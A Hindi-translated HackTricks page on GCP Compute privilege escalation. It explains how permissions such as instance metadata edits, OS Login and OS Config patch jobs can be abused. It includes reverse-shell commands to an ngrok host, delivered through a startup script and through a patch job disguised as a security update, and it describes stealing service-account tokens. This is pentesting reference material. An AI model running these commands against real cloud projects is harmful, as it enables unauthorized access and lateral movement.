GCP - Compute Privesc

Support HackTricks

Compute

GCP में Compute और VPC (नेटवर्क) के बारे में अधिक जानकारी के लिए देखें:

GCP - Compute Enum

ध्यान दें कि उन सभी विशेषाधिकार वृद्धि हमलों को करने के लिए जो उदाहरण के मेटाडेटा को संशोधित करने की आवश्यकता होती है (जैसे नए उपयोगकर्ताओं और SSH कुंजियों को जोड़ना) यह आवश्यक है कि आपके पास उदाहरण से जुड़े SA पर actAs अनुमतियाँ हों, भले ही SA पहले से ही जुड़ा हो!

compute.projects.setCommonInstanceMetadata

इस अनुमति के साथ आप संशोधित कर सकते हैं मेटाडेटा जानकारी को एक उदाहरण का और एक उपयोगकर्ता के अधिकृत कुंजियों को बदल सकते हैं, या sudo अनुमतियों के साथ एक नया उपयोगकर्ता बना सकते हैं। इसलिए, आप किसी भी VM उदाहरण में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ उदाहरण चल रहा है। सीमाएँ:

  • ध्यान दें कि VM उदाहरणों में चलने वाले GCP सेवा खातों का डिफ़ॉल्ट रूप से बहुत सीमित दायरा होता है।

  • आपको लॉगिन करने के लिए SSH सर्वर से संपर्क करने में सक्षम होना चाहिए

इस अनुमति का लाभ उठाने के बारे में अधिक जानकारी के लिए देखें:

GCP - Add Custom SSH Metadata

आप नए स्टार्टअप-स्क्रिप्ट को जोड़कर और उदाहरण को पुनरारंभ करके भी इस हमले को कर सकते हैं:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

यह अनुमति पिछली अनुमति के समान विशेषाधिकार देती है लेकिन एक विशिष्ट उदाहरण पर, पूरे प्रोजेक्ट के बजाय। पिछले अनुभाग के लिए समान शोषण और सीमाएँ लागू होती हैं

compute.instances.setIamPolicy

इस प्रकार की अनुमति आपको पिछली अनुमतियों के साथ एक भूमिका देने और उनका दुरुपयोग करके विशेषाधिकार बढ़ाने की अनुमति देगी।

compute.instances.osLogin

यदि OSLogin उदाहरण में सक्षम है, तो इस अनुमति के साथ आप केवल gcloud compute ssh [INSTANCE] चला सकते हैं और उदाहरण से कनेक्ट कर सकते हैं। आपके पास उदाहरण के अंदर रूट विशेषाधिकार नहीं होंगे

इस अनुमति के साथ VM उदाहरण के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs अनुमति होनी चाहिए।

compute.instances.osAdminLogin

यदि OSLogin उदाहरण में सक्षम है, तो इस अनुमति के साथ आप केवल gcloud compute ssh [INSTANCE] चला सकते हैं और उदाहरण से कनेक्ट कर सकते हैं। आपके पास उदाहरण के अंदर रूट विशेषाधिकार होंगे

इस अनुमति के साथ VM उदाहरण के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर iam.serviceAccounts.actAs अनुमति होनी चाहिए।

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

यह संभव है कि एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और सेवा खाते का टोकन चुराया जाए जिससे विशेषाधिकार बढ़ाने के लिए मेटाडेटा तक पहुंचा जा सके।

इस विधि के लिए शोषण स्क्रिप्ट यहाँ मिल सकती है।

osconfig.patchDeployments.create | osconfig.patchJobs.exec

यदि आपके पास osconfig.patchDeployments.create या osconfig.patchJobs.exec अनुमतियाँ हैं, तो आप एक पैच नौकरी या तैनाती बना सकते हैं। यह आपको वातावरण में पार्श्व रूप से आगे बढ़ने और प्रोजेक्ट के भीतर सभी कंप्यूट उदाहरणों पर कोड निष्पादन प्राप्त करने की अनुमति देगा।

ध्यान दें कि वर्तमान में आपको उदाहरण से जुड़े SA पर actAs अनुमति की आवश्यकता नहीं है।

यदि आप इसे मैन्युअल रूप से शोषित करना चाहते हैं, तो आपको या तो एक पैच नौकरी या तैनाती** बनानी होगी।** पैच नौकरी चलाने के लिए:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

एक पैच डिप्लॉयमेंट को लागू करने के लिए:

gcloud compute os-config patch-deployments create <name> ...

The tool patchy को इस गलत कॉन्फ़िगरेशन का लाभ उठाने के लिए अतीत में उपयोग किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।

एक हमलावर इसे स्थिरता के लिए भी दुरुपयोग कर सकता है।

compute.machineImages.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ कंप्यूट इमेज पर दें।

compute.snapshots.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क स्नैपशॉट पर दें।

compute.disks.setIamPolicy

अपने लिए अतिरिक्त अनुमतियाँ एक डिस्क पर दें।

एक्सेस स्कोप को बायपास करें

इस लिंक का पालन करते हुए आप कुछ विचार पाएंगे एक्सेस स्कोप को बायपास करने के लिए

GCP Compute इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि

GCP - local privilege escalation ssh pivoting

संदर्भ

HackTricks का समर्थन करें

Last updated